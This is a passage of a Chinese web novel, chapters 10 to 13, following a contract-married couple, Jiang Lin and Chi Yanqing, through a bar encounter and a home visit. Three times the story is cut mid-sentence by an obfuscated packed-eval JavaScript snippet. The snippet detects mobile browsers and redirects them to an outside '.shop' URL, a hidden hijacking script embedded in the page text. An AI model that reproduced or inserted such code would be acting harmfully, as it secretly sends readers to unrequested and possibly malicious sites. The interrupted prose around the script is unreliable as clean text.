说到这他想起什么,笑了声:“放心,你儿子心眼多,不吃亏。这回我连老爸都算计进去了。” 蒋凛在他妈面前话多,亲娘俩没什么不能说的。他特别放松,语气也没平时那么“圆融”,多了丝孩子气的狡黠。 “……结婚还真不是为了让他省心,纯是我自个儿看上了,真为他省心毕业我就结婚了,还等到现在了?” 他打开一瓶白酒,给林芳楚满上:“您可得给我保密。” 太阳慢慢往西边落,蒋凛说得嗓子有点干了,拍拍裤腿站起来。 “下回来看你的时候我再汇报进度……”他顿了顿,唠家常似的补了句:“汇报这词儿搁你这听着就挺得劲儿,池老师跟我说他家里‘通知’他的时候,听着就太窝心了。” “还得是咱娘俩。” 回去后,蒋凛跟老爸说他今天去墓地看了,把周围简单打扫了一下。 蒋怀山没有长篇大论,只回了个“好”。 海城太靠北了,十月下旬一到,降温的小风就吹来了。 有两天气温大跳崖,直接蹦到了个位数,逼近零度,蒋凛这两天都换了夹克外套。 那天吃过饭,之后这些日子蒋凛一直没跟池砚青见过面。 一是他俩都忙,二是蒋凛也不想太急。 池砚青这样的人,太聪明也太淡了,看着什么都不在意,其实边界很冷也很硬。 在他眼前要么别玩心眼儿,要么就拿耍心眼当玩笑,让人看出来就承认——老师查出你作业没写,你就别硬着头皮说落家了。 他越是往前挤反而越扣分,留足喘气的空间,慢慢往前探更好。 说来说去,其实还是“玩心眼”,只不过蒋凛玩的更直接,也更聪明。 人见不着,蒋凛微信还是得发的。 毕竟不能真变成陌生人。 他话不多,也有分寸,说两句就停,都是些天冷天热,工作忙不忙,吃的饭香不香之类的小事,人不回他也不催。 蒋凛很会“闲聊”,再小的事从他嘴里说出来都能变得有意思。 可能确实有趣,也不烦人,池砚青每次也都回,话不像蒋凛预想的那么少,偶尔还能有两句调侃。 唠了小半月,蒋凛也品出来了,池砚青是真忙,回消息的高峰期居然是半夜十二点前后。 换个角度想,十二点了还能想着回他消息,给蒋老板都快想美了。 眼见着降温是一波跟着一波的,这天晚上蒋凛在酒吧对着手机又是一阵敲。 【池老师,天气预报说明天降温,得零下】 【你多穿】 【这两天店里不少感冒的,我天天一张嘴就问有没有人吃头孢了】 发完立刻放下手机,该干嘛干嘛,看起来也没太当回事。 今天赵晟和庄礼年都过来了,三个人在吧台前面唠闲嗑,给林葳烦得赶他们上楼扯淡去。 赵晟边上楼边摇头:“唉,可怜我凛哥,好不容易结个婚,努力了大半个月,跟人家处成网友了。” 蒋凛能让他寒碜了么,说:“有些人网友都没有,我就不点名了。” 庄礼年接话:“赵晟身份证号是……” 三个年近三十的大老爷们往沙发里一窝,听庄礼年说了半天孩子奶粉选择攻略,赵晟终于受不了了。 “歇歇吧哥哥,有这功夫不如给凛哥想点儿招,结个婚手都没牵过,像话吗?” “想个屁招,”庄礼年戒酒了,握着瓶矿泉水,“你这脑子还给他支招呢,就是个debuff,让你凛哥省点心吧。” “你庄哥说得对,”蒋凛说,“我脑子且够用呢,你操心操心自个儿吧。” 赵晟一片苦心没讨着好,立刻说:“那看我!看我!” “看你干什么?”庄礼年问。 赵晟一脸神圣,严肃地说:“我有意中人了。” “什么?”蒋凛也看他,“你有意什么玩意儿了?” “意中人,”赵晟攥着拳头在腿上敲了敲,害臊得耳朵都红了,“我喝酒的时候撞见的,你俩得帮我。” 赵晟扭扭捏捏地说,是在海城另一家酒吧遇见的女人。 按他的说法,是“一见钟情”。 他打听过了,对方比他大两岁,今年刚好三十,还单身呢。 “气质我说不好,特别文艺,看着就有文化,跟老庄不一样……”赵晟看着天花板,一脸纯情,“是那家酒吧的常客,我那天是头一回去,隔着人群我们对视了一眼——” “停,停!”庄礼年拦住他的幻想,“就是说你连个联系方式都没好意思要?” “啊,我多害羞啊!”赵晟搓了把脸,“反正我跟老板问过了,后天周六,她肯定去。你俩得陪我一起去,给我壮胆儿。” “去去去,你情窦初开一回比你凛哥还稀罕,”庄礼年笑话他,“猪开智还是太难了,必须支持。” 蒋凛问了酒吧店名,老板他认识,说不上熟,能唠几句的关系。 那家酒吧跟RoomTemp也不是一个风格,更野,更乱,也更适合放纵情绪。 深夜,蒋凛收到了池砚青的回复。 【知道了】 【路上可能结冰,开车注意安全】 蒋凛正看账呢,手里的事儿放下立刻就回了。 【谢谢池老师提醒,我开车稳当,放心】 【快点儿睡吧,都这时候了】 池砚青回的也挺快。 【我是不是也得说声谢谢?】 蒋凛就是随口一说,哪能真让他客气回来。 【可别,我的那句我收回来了】 【谢来谢去的跟幼儿园小孩儿似的,太逗了】 说着快点睡觉,但俩人就这么你一句我一句地唠上了。 蒋凛问他还得忙到什么时候,大半月了天天熬夜,身体受得了吗。 池砚青连文字里都透着习惯了,说明天再忙一天,就能歇一段时间了。 这机会蒋凛不可能放过,他稍微想了会儿,开始打字。 【池老师,过两天我去慰问一下?】 【慰问什么?】 【你想要什么?我也不能哪回去都给你带吃的吧】 【带吧,上次的就不错】 又扯了几句石榴甜不甜的,蒋凛一看时间,赶紧让他睡觉去。 他明天几点起都行,池砚青的作息就太残酷了。 互相道了晚安,蒋凛看了看日历,想着明天再问问,周日池砚青有没有空。 他刻意避开周六,一是要忙活赵晟的事,二是池砚青刚闲下来,得自己歇歇。 第二天蒋凛跟池砚青定了时间,周日他去池砚青家“送吃的”。 他不提周六,池砚青也没提,仿佛一个认定对方这天得休息,另一个认定对方有这个情商。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886714|192040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周六,蒋凛一早上就接了赵晟仨电话,问他得怎么穿搭才男人。 蒋凛凌晨三点才睡,让他烦得头疼,扔下句“你啥也别穿了,一眼看出是个男人”,就埋枕头里接着睡了。 赵晟搁这儿碰一鼻子灰,又去问庄礼年,他庄哥早上得喂奶,醒得倒是早,给他指点了一番。 晚上八点多,蒋凛开车到了地方,跟他们在酒吧门口会和。 “我真是闲的,周六不看店,陪你到别人家酒吧浪来。”蒋凛说完带头往里走。 为了符合酒吧氛围,他今天穿得比平时更随意,外套里是黑色V领衫,露出的锁骨上若隐若现一道疤。手腕又戴上了沉香木手串,左耳也戴了枚耳钉。 跟池砚青见面的时候,他都刻意体面着,身上乱七八糟的都收起来了。 不是装,是对这段关系的尊重。 “真是有日子没这么打扮了。”庄礼年扯了扯领口,穿得也够烧的。 他这身还是媳妇给配的,说不能给兄弟丢人,让他体面点儿。 赵晟有点紧张,让俩人夹在中间往里走,没出息的样儿给蒋凛逗乐了。 问他:“还能张嘴吗?等会儿我给你问?” “你一边去,”赵晟扒开他走到最前头,“你去万一看上你了咋整,我可没长你这张脸。” 蒋凛根本没当个事儿,随口说:“看我干什么,我都结婚了。” 一进去,摇滚乐就盖住了几个人的声音,蒋凛的后半句直接淹没了。 总在自己家的清吧跑着,冷不丁来这么一下,心脏都跟着颤悠。 老板今天恰巧在,蒋凛过去跟他聊了几句,打听到女人跟朋友一起在二楼喝酒呢,跟着赵晟就上去了。 赵晟远远给他指了一下,卡座里男男女女一圈人,有站有坐,闹得挺厉害的。 蒋凛就看见个侧脸,头发挺长的,黑的,直的,女的…… 赵晟表示跟他这种人说不清楚,深吸了一口气,就过去了。 蒋凛跟庄礼年对视一眼,做好了看他出洋相的准备,跟在后面一起往前走。 蒋凛的长相太突出了,刚走近就让人发现了,有个女孩还冲他吹了个口哨。 “今儿帅哥真多啊。” 让人调戏了,蒋凛也不在意,懒洋洋地笑着,走到卡座最外侧,提前帮赵晟看一圈意中人的交友圈。 他状似随意地打量着,直到对上一双淡漠的眼睛,蒋凛蓦的钉在原地,险些觉得自己出幻觉了。 池砚青坐在最里面,手里有半杯威士忌,也看见了蒋凛。 眉头很不明显地蹙了一下。 蒋凛张了张嘴,又硬生生把“池老师”三个字憋回去了。 他不知道池砚青希不希望这些人知道他结婚了,更不觉得在这种地方说出自己是结婚对象是什么好时机。 说白了,是他不小心撞见了池砚青的私生活,他唐突了。 蒋凛脑子狂转,不到一秒,就决定装不认识了。 他很快地移开视线,但刚才的“惊鸿一瞥”却烙在脑海里。 池砚青今天的穿着和气质跟他平时见过的差别太大了,黑色紧身高领衫,半撸起的袖子露出一截小臂,一个人坐在角落喝着酒,身边乱成一片,却没有紧挨着他的人。 嘈杂酒色中不放浪,依旧整洁,有品。 是啊,不放浪。 蒋凛忍不住想了想自己今天这身打扮,唇角的笑意多了点无奈。 他今天算是把池老师的份儿也算上了,浪完了都。 刚在微信里约人慰问,转头就在别人的酒吧里遇见…… 赵晟那边什么情况他都没心思研究了,想着先出去,发个短信告诉池砚青他走了,别影响池砚青的酒局。 他刚迈出去半步,身后的池砚青忽然不高不低地说了声:“蒋凛。” 11. 第十一章 这一声给在场十来个人都定住了。 蒋凛是最先反应过来的那个,他没想到池砚青会叫他,但他反应快,瞬间换了个表情,一副熟人朋友的样子喊了声“池老师”。 “真巧,”蒋凛手搭在小沙发靠背上,站姿很随意,“我陪朋友过来见个人。” 不用他说见谁,那边赵晟站在女人面前刚自我介绍完,脸都快憋紫了。 郑贺澜左右看看,问池砚青这人谁啊,朋友?还是……? 这句一问出来,蒋凛稍微站直了点儿,承不承认都躲不过去,这一刻他有些微妙的紧张。 他心里过得很快,池砚青要是没开口,他直接认下“朋友”这个身份。 合作婚姻,怎么也算得上一句朋友了。 池砚青却站了起来,自然地走到蒋凛身边,视线一碰,蒋凛喉结轻轻动了一下。 池砚青在他腰上很轻地带了一下,正式地介绍:“蒋凛,我的合法爱人。” 卡座里静了半秒,紧跟着起哄声被点着了似的炸开了,赵晟直接说了句我靠。 蒋凛也没比他们好哪去,心狠狠蹦了蹦。但紧跟着他就冷静了下来,笑了声,压低声音问:“池老师,都是你熟人?” 池砚青没回他这句,问他:“着急走?” “不急,”蒋凛声还是低,“我怕你不方便。” “那就坐下待会儿。”池砚青指尖在他手腕内侧点了一下,自己先往里走,路过赵晟和庄礼年的时候点了点头,有礼貌但不算亲近。 蒋凛借着音乐声清了清嗓子,感觉后腰和手腕那一道有点火辣辣的烫。 他没多说,跟着进了卡座最里面,坐在了池砚青旁边。 人太多了,池砚青身边有块小真空已经很不容易,蒋凛这个一米八多的再进来,只能跟池砚青紧挨着。 他头一回有点不知道胳膊腿怎么摆,好在蒋老板也是场面人,心里想的跟外边表现的差了十万八千里。 他随意地往后靠着,还有“闲心”示意庄礼年和赵晟也坐下。 这两张脸同框,冲击力实在大,加上“池砚青爱人”这个身份,卡座里起哄声就没停过。 在场的除了蒋凛他们三个刚到的,都喝得半醉了,有人起哄问:“还以为砚青是嫌我们烦了不爱出来,结果真结婚了啊!” “换个人我都不信,这位……”憋半天,吐出个“太般配了”。 “这身材长相,搭配着,两位可都有得享受了!” 这句稍微有点过了,蒋凛没太在意,池砚青眼神不愉地看向说话的人,对方脸色一紧,立刻摆摆手,换了个话题继续喝。 庄礼年啧了声,这一晚上够精彩的,索性拉着赵晟也挤着坐下了。 郑贺澜这会儿终于回过神,直接伸出手自我介绍:“郑贺澜,砚青发小,幸会。” 蒋凛伸手跟他握了一下:“蒋凛。” “之前我提了说一起吃个饭,砚青还不同意,我以为你俩关系不好呢。”郑贺澜说话声音不高,就他们仨能听清楚,说完给他递了杯酒。 这种乱糟糟的场面,蒋老板闭眼都能应付。 他接过酒,随口说:“我俩工作都忙,确实没什么时间出来。” 杯里的酒蒋凛看一眼就能猜出大概度数,他不想在池砚青的交际圈露怯,既然这么光明正大地介绍了,他现在代表的就是两个人的脸面。 蒋凛跟郑贺澜撞了个杯,刚要喝,手腕忽然被压了下。 他愣了下,下意识回头,池砚青的手顺势把这杯酒拿走了,放回了小茶几上。 “不用搭理他。”池砚青说话的时候没看郑贺澜,脸上的烦都没掩饰。 郑贺澜立刻说:“嘿!我跟蒋凛喝口酒怎么着你了!” 蒋凛看着池砚青这幅表情,觉得新鲜,他忍着笑,解释:“我酒量不好,一杯就倒。” “嚯,”郑贺澜没招了,“这就护上了。” 池砚青都没说什么,蒋凛也认下了旁人眼里的这份亲密,笑笑不说话。 眼见着夫夫俩这都讨不着好,郑贺澜嘀咕着“强强联合啊”,转头又跟别人说话去了。 “我以为你今天得在家歇着呢,”蒋凛偏头说。 “计划休息,”池砚青上半身也往他这边微微偏着,喝了酒的嗓音比平时低,“被拽来了,烦。” 一个烦字,听得蒋凛心里缩了缩。 他看向池砚青的脸,注意到眼下淡淡的疲倦,自己都没意识到他也跟着烦了,低声问:“不能提前走?” 池砚青笑了下:“我刚来。” 蒋凛也笑了:“那也太巧了,我也刚来,也是让人拽来的。” 池砚青给蒋凛要了杯无度数的饮料。 蒋凛握着也没喝,视线已经给这群人挨个过了一遍,偶尔有人提他一嘴也能不显山不露水地回过去。 他问池砚青:“这一圈,都是熟人?” “就几个熟的,”他下巴点了点蒋凛旁边的郑贺澜,“最熟的。” 蒋凛心下了然,就是这个给他拽来的。 他随口说了今晚上陪赵晟过来的事,临了自嘲:“自个儿店扔着不看,跑这给人壮胆儿来,结果自己差点吓飞了。” 池砚青让他逗得笑出了声:“为什么?看见我了?” 蒋凛点头,煞有其事:“除了你,也没人能给我吓一跳了。” 他顿了顿,又说:“我真没想过能在这种风格的酒吧看见你。” “不是查过我资料了,”池砚青看着他,“没查到这儿么。” “私生活我怎么可能查那么细,多不礼貌啊……”蒋凛跟他对视了一眼,“我就是……有点儿吃惊,我以为你这样的人会更愿意去清吧。” 池砚青喝了口酒,唇角有很浅的弧度,眼底却很淡:“现在还觉得我是那样的人吗?” “觉得啊,”蒋凛勾了勾嘴角,“我欣赏的就是你这个人,跟你在哪儿没关系。” 池砚青握着酒杯的手微微一顿,半晌,道:“别把我想的那么好。” 蒋凛拿起自己那杯酒,跟他碰了一下,言语表情都带着笑:“这你可管不着我了。” 这口酒蒋凛实打实地喝下去了,他心里有数,庄礼年和赵晟都在,怎么都能给他送回去,不可能给池砚青添麻烦。 眼下,他就是故意要醉的。 池砚青看出他的意思,没拦他,自己也喝完了一杯。 蒋凛问他喝多少了,他说这是第一杯。 “那你酒量挺好,看着都没反应,”蒋凛说话的时候稍微晃了晃脑袋,笑着说:“我有点上劲儿了。” 这回换池砚青吃惊了,失笑道:“一口就醉了?别喝了,放那儿吧。” “没事儿,”蒋凛还是握着酒杯,偏头冲他笑了一下,“池老师,我有个优点。” 他笑得眼尾都弯了,语气也带了点儿玩笑,明显是真有些醉了。 池砚青当自己在哄学生,虽然他也没哄过,顺着问:“什么优点。” 蒋凛说:“喝得多醉我都能自己回家,进家门再倒。” 池砚青靠着沙发,语速放慢了些:“是么,没在外地喝过酒吧?” 说得慢了,明明是迁就醉的人,听着反而像嘲讽。 蒋凛挑了下眉,说:“外地我就回酒店了。池老师,你知不知道,有时候你说话挺毒的。” “我不太清楚,”池砚青眼底的笑意有些明显,他看了眼郑贺澜,“那边的应该挺清楚的。” 蒋凛没忍住一下笑了出来,他弯着腰,一只手按了按额头,边笑边说:“不行,晕了,地震了。” 那边庄礼年已经挤过来了,手搭在他后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886715|192040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背力道不轻地拍了两下:“翻江倒海没有?” “靠……”蒋凛直了直腰,抬头的时候瞅了他一眼,“等会吐你一身。” 一个眼神庄礼年就明白了,跟池砚青说:“池老师,他醉成这德行,我们先回去了。” 池砚青把两个人的互动看在眼里,拿过蒋凛手里的酒放回去,手自然地搭在蒋凛腰上扶着他:“我送你们。” 蒋凛不明显地僵了僵,反应很快地说:“行,我感觉我要吐了。” 后边这句他没压着,周围人都听见了。 有人调侃酒量,有人催池砚青带他出去,蒋凛就等着这句呢,胳膊搭在池砚青肩膀上,跟在场的人说:“抱歉各位,下回有机会再聚。” 他说话故意含糊不清,已经醉晕了似的。 池砚青出来一趟不容易,但这种情况,郑贺澜也不能拦着池砚青“送爱人回家”。 他只能说:“你俩快走吧。” 赵晟跟人换了联系方式,这会儿也完成一阶段任务了,看他们出去也立刻道别,跟在后面出去了。 等出了酒吧,蒋凛没跟着去池砚青车那边,他放开搭在池砚青身上的手。 “你赶紧叫个代驾回家休息,我自己叫代驾就行。”这会儿再说话就口齿清晰了,走路也不晃。 刚就是为了给池砚青带出来,演的,他醉再狠也不可能东倒西歪。 “嗯,”池砚青自己也喝酒了,不能开车送他,“到家给我发个消息。” 蒋凛点了点头:“你也是。” 赵晟这个缺心眼的自己成事儿了,嘴就没把门的,大咧咧地说:“干啥呢依依不舍的,明天也不是见不着了,齁冷的咱走吧。” 蒋凛低声笑骂了句:“个傻逼。” 池砚青也笑了声,没在意。 临走蒋凛简单介绍了一下:“这位是池老师,这俩是我朋友,庄礼年,赵晟。” 池砚青简单跟他们打了声招呼,问他能站住么,蒋凛说没问题,他才收回扶在蒋凛后腰的手。 “我回去了,”蒋凛笑着说,“明天见。” 池砚青“嗯”了声,视线在他脸上停留了片刻,说:“明天见。” 看着人走远了,蒋凛才扶住车门,稳了稳。 “真是了不得,”赵晟啧啧,“凛哥,你这,真是了不得。” “说人话。”蒋凛头确实晕着,懒得听他墨迹。 赵晟憋了几秒,说:“你这位,看着就非常有文化。” 庄礼年骂了句:“你他妈就知道个有文化。” “靠,”赵晟很不服气,“我还知道这位池老师长得真他妈帅,跟我凛哥打得有来有回的,气质……就很牛逼。” 蒋凛靠着车门,损他:“大学都让你上糟践了,连个成语都蹦不出来。” 话是这么说,但自家兄弟在背后狂夸池砚青,他心里也有点儿与有荣焉的意思。 虽然人还不是他的,但也挺美的。 这杯酒喝得太快太猛,回家路上蒋凛一直没敢看手机,怕真吐车上。 等到了家,他先给池砚青发消息说他到家了,然后抻着根神经给自己收拾干净,才躺到床上。 手机响了几声,他头昏脑涨地没听见,沉沉地睡了过去。 直到第二天早上,他眯着眼睛拿起手机,才看见几条未读消息。 【我到家了】 【睡前喝杯温水,侧卧睡觉,不舒服可以给我打电话】 【明天你不用折腾,醒了我过去一趟】 【你喝太快了,我得确认你没事】 蒋凛盯着这几行字,几秒后瞬间清醒了,他扭头看了眼卧室,又看了眼时间—— 10:49。 “睡昏迷了我靠……”他立刻坐了起来,边单手叠被子,边拨了池砚青的电话。 12.第十二章 “醒了?”池砚青接了电话。 “醒了,刚醒,”蒋凛起得急,语速也比平时快,“你怎么没给我打个电话。” “宿醉第二天得睡够了,”池砚青问,“难受了么?” 三两句话的功夫,蒋凛已经走进卫生间了:“没难受,就一杯,没那么脆。” 他边挤牙膏边说:“池老师你吃中午饭了吗,我带你出去吃吧,家里也没收拾……冰箱可能都空了。” “不用,”池砚青说,“我带了饭过来,你收拾好告诉我就行。” 蒋凛拿牙刷的动作一顿,忽然反应过来,“你到了?” 池砚青说:“在小区外面,刚到。” 蒋凛这回是真懵了,太突然了。 他快步走到落地窗前,拉开窗户想往外看,也看不见小区大门那边儿。人马上要进家门了的事实,让他稍微有点慌。 也不能让池砚青一直等,他赶紧说:“我跟门卫说一声,你直接进来,我有什么可收拾的。” 临了开玩笑地补充:“我家没那么整洁,池老师多担待。” 池砚青笑了声没说话。 挂了电话,蒋凛哪还有一丝云淡风轻,他恨不得长八只手。 飞速刷牙洗脸,照镜子看头发飞没飞,然后到客厅看了一圈,把乱放在鞋柜上的烟和矿泉水都规整好,又匆忙把昨晚上随便脱的鞋摆好,给池砚青找了双新拖鞋…… 门铃响的时候他正往洗衣机里塞外套,昨晚回来醉的厉害,他随手扔地上了。 还是没收拾完。 开门之前蒋凛轻吸了一口气,这会儿功夫忙出一后背汗。 想想都好笑,多大人了,紧张得跟让老师家访了似的。 他拉开门,看见今天池砚青的穿着,眼底闪过一抹欣赏。 池砚青站在门外,先打量了他的脸色状态,才说:“不让我进去?” “快请进,”蒋凛看见他手里的饭盒,接过来的时候又说:“池老师,太突然了,家里有点儿乱。” 池砚青笑笑:“你说两遍了。” “哎,”蒋凛也挺无奈,“我怕扣分儿么。” 池砚青进来说:“又不是检查宿舍,扣什么分。” 池砚青今天穿了件长款大衣,里面是黑色高领针织衫,宽松的版型,没昨天的紧身。多了点舒适从容,少了些夜场里的冷淡。 昨天蒋凛觉得自个儿穿得太浪,细想,池砚青也比平时放的更开。 都是老手了,风格不同罢了。 蒋凛想帮他把外套挂起来,池砚青没让,自己动手挂在了门口的衣架上。 玄关不算窄,但他们俩这么让来让去地挤着,蒋凛手里还拎着东西,胳膊难免碰到。 蒋凛不合时宜地想起昨天池砚青的手在他腰上扶着的时候……视线再落到池砚青身上,就有点儿虚了。 他暗暗自嘲,人家给他送饭,他这满脑子乱七八糟的,像什么样子。 蒋凛家其实不乱,保洁阿姨隔两天就来一趟,大体算得上整洁干净了。 只是跟池砚青家一比,还是多了点乱丢乱放的“生活痕迹”。 池砚青刚坐下,蒋凛就看见沙发扶手上搭着条腰带,他都想不起来是哪天放那儿的了。 他看见了,池砚青肯定也看见了,蒋凛眼皮一跳,赶紧拿起来挂在了衣帽间,回来又去厨房给池砚青泡了杯花茶,嘴也没停:“昨天找半天没找着,今天自个儿出来了,忒给我丢人了。” 闻到熟悉的香味,池砚青问:“还没喝完?” “最后这一口了,”蒋凛心思动了动,说:“我本来打算今天去你家再要点儿,下回吧。” 池砚青想到他快喝完了,但今天还是只拎了饭盒。 他接过蒋凛递过来的杯子,默许了他的“下回”。 蒋凛还想准备点坚果零食什么的,池砚青让他先吃饭。 在自己家吃饭没那么精致,蒋凛直接在茶几上打开饭盒,闻到香味的瞬间没忍住吸了吸鼻子。 他尝了一口菜,味道偏淡,恰好他口味也淡。 他忍不住说:“头回有人给我送饭呢,太感动了。” “你昨天喝得太多,今天的菜没放太多盐,”池砚青提醒他,“等会儿多喝点水。” 蒋凛嗯嗯答应着。 上次在池砚青家的时候,能感觉到池砚青不习惯吃饭的时候说话,他没多说,低头一直在吃。 又是一个人吃一个人看,蒋凛这回就坦然多了。 一是在自己家,他本就不那么端着,二是跟池砚青当了大半个月的“网友”,他现在觉得他俩熟了不少,至少算得上朋友了。 虽然他这个朋友心里实打实的不清白。 宿醉刚醒,蒋凛脑袋里还有点昏,又是在自己家里这个最放松的地方,他一言一行都没平时那么圆融,透着股随意。 池砚青坐在他斜对面,拿着手机在回消息,偶尔抬眼,不紧不慢地观察着他在自己家里的状态。 比起上回,这次蒋凛吃饭的速度明显慢很多。 他不专心,吃着吃着看见手边的遥控器,都得摆弄一下放个正确位置。再不然点开手机看看时间,看一眼窗外,瞅一眼池砚青……好像吃起饭什么事儿都比吃饭有吸引力了似的。 “想看电视就看。”池砚青忽然出声。 “嗯?”蒋凛抬头,“你想看电视?” 池砚青眼底有笑:“我说你。” 蒋凛反应过来,摸了摸鼻子,笑得有点不好意思,但还是实话实说:“吃饭看电视看惯了,冷不丁不看,吃得我心都有点儿慌。” 他打开电视,随便挑了个电视剧放着。 这回吃得就快多了,但是不爱嚼,三两口就咽了,好像眼睛跟嘴不能一块用似的。 吃完蒋凛先把饭盒刷了,给池砚青洗了水果,又把家里的坚果零食都拿出来。池砚青来的突然,他也没个准备,反正把他平时爱吃的都摆上了。 在池砚青眼里,像小孩招待朋友似的。 池砚青看着茶几上满登登的零食,又看向蹲在旁边给他挑零食的蒋凛,问:“喜欢囤东西?” “看见顺手就买了,也吃不完,”蒋凛挑了自己觉得最好吃的放到他面前,“这算囤东西吗?” 他笑了声:“我还真没想过,也是,吃着吃着都吃忘了。” 池砚青打开一包坚果,蒋凛站起来,又坐回了侧面,俩人在谁家都是这么一正一侧地坐着。 蒋凛忍不住乐:“越来越像家访了。” “这么喜欢当学生,”池砚青看着他说,“我都尽量不把自己当老师了。” “这都是尽量了?”蒋凛上下打量他,故意说:“那我可好奇了,池老师,你要是不尽量我是不是得站直了听你说话。” 池砚青笑笑,不接这句,他要是真把蒋凛当个学生,从进门起就得开始扣分儿。 蒋凛心里也有数儿,玩笑开就开了,趁着这个机会,也得说两句正经的。 “昨天没时间问,池老师,赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892073|192040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晟搭讪的女人你熟吗?” “算熟,你想知道哪方面的?”池砚青喝了口茶。 “不用那么详细,我就问一个,是真单身吗?”蒋凛强调了“真”字,他就是开酒吧的,看过太多乱七八糟的了。 对有些人来说,单身的种类可太多了,只要没结婚就能说单身。 “真的,”池砚青点头,轻笑了一声,“不好追。” “这个不怕,”蒋凛想想赵晟那个脑子,“这人追谁都不好追。” 池砚青问:“关系很好?” “正经好了,”蒋凛不介意给他介绍自己的圈子,“这些年最铁的就是他俩了,你一回都见着了。” “我们三个就庄礼年成家早,今年孩子都有了,”蒋凛拿了个肉干,说这些的时候脸上的笑很明显,“跟赵晟是高中同学,庄礼年我俩发小,两家关系好。” “十来岁那会儿不爱回家,我总上他家住去,上房揭瓦的,要不是我招人稀罕,他妈早给我打八遍了。” 挺普通逗趣的话,听在池砚青耳朵里,信息量就很大了。 他没在这种时候深究,忽然说:“饭还合口味?” 蒋凛下意识说:“合啊,太合了。上回去你家吃完我就挺回味的,没想到这么快还能吃着。” “不快了,”池砚青说,“半个多月了。” 这句就有点儿意味深长了,蒋凛捻了下手指,话在心里转了一圈。 他摸了摸掌心的杯子,半开玩笑地说:“我想天天吃也吃不着啊。” “想吃就能吃着,”池砚青淡定地接住他的话,“下个月上面会来检查,我们现在可以商量在哪住更方便。” 蒋凛脱口而出:“在你家?” 话音落下,蒋凛立刻就意识到不妥了。 以他的情商,换成以前肯定得先问池砚青的意思,这么直接的安排,多少不像他了。 “你不习惯家里进人,可以来我家,”池砚青轻易点破他的顾虑,把选择权放到他手上,“我都可以。” 蒋凛顿了顿,无奈地叹了口气:“完了,我感觉我都让你给看透了,没秘密了。” 池砚青不给他压力,安静听着。 “不是怕人来,就是不太习惯陌生人进来,”看着池砚青,蒋凛很快地补充,“你不是陌生人,你不算。” 池砚青能看出来蒋凛的心思,但他不揪着:“可以理解。” 蒋凛松了口气,索性把心里想的都交代了:“我之前就想说去你家更好,但我怕你不方便。” “看来我们还需要互相了解,”池砚青嘴角勾着很淡的弧度,“我没你想得那么矫气,我也没有洁癖,收拾东西是习惯,不收拾也不会天塌了。” 这话就太直接了,还提了蒋凛很久之前说过的“娇气”。 “我发现你也挺记仇的。”蒋凛一下笑出了声,身体无形地放松下来,但态度还是很端正:“我尽量不打扰你,你给我腾个住的地儿就行,我不挑。” “快把我说成地主了,”池砚青淡淡地看了他一眼,“给你个毛毯你睡走廊吧。” 玩笑开到这份儿上了,蒋凛彻底松快了,也顶着说:“那不行,你要这么说我可得睡主卧了,你睡沙发吧。” 池砚青没反驳他的话,看向桌子上的零食,随口安排:“东西你都可以带着,有地方放。” 蒋凛心里微微一动,他拿起水杯喝了一口,掩饰嘴角的弧度。 都带着…… 应付检查用都带着吗。 13.第十三章 十月最后一天,池砚青日历上用红笔画了个圈。 从毕业后就留下来的习惯,每个月都去看爸妈一回,吃个饭,聊聊天。 一家子都忙,时间是池砚青提前一周主动联系商量好的。 晚上下班,池砚青开车买了菜,等到家开了门,门缝里却一点光都没透出来。 他在门口沉默了几秒,平静地走进去。 反手开了灯,瞬间亮起的灯光刺得他皱了皱眉。 池砚青低头换鞋,看见爸妈的拖鞋都在,人还没回来。 要么是忘了今天他回家,要么是有事耽误了,要么是明知他回家还选择了加班。 池砚青不太关心原因,脱了外套拎着菜到了厨房,一样一样处理好,就剩下最后热炒的一步时,才给唐冬华打了电话。 他打了两次都是无人接听,第三遍换成池陆升的,才打通。 “你到家了吗?没到就别回来了,今天我跟你妈回不去。” “刚做完饭,”池砚青说,“你们回来热一下吧。” “嗯,没什么要紧事儿吧?”池陆升说完,不等池砚青回,就说:“我听孙教授说上边该考察了,你跟合作对象提前做好准备,虽然是应付,也别太粗糙,让人家为难。” 池砚青看着窗外的月亮,说:“商量好了,来我家。” “嗯,”池陆升说,“你心里有数就行。” 三两句说完,电话就挂了。 池砚青放下手机,把菜全炒完,又仔仔细细地收拾好厨房,然后穿上外套,关门下楼,开车回家。 今天他提前下班,还有些工作没做完,到家后简单吃了饭,在书房处理到凌晨才合上笔电。 没急着休息,他习惯性地拿出根烟,拉开窗户,站在窗前望着夜色里的光亮,任由各种思绪从脑海里流过。 尼古丁的效果不算好,只抵消掉些许疲惫,紧随其后的是更急切的催促,引诱他再点燃一根。 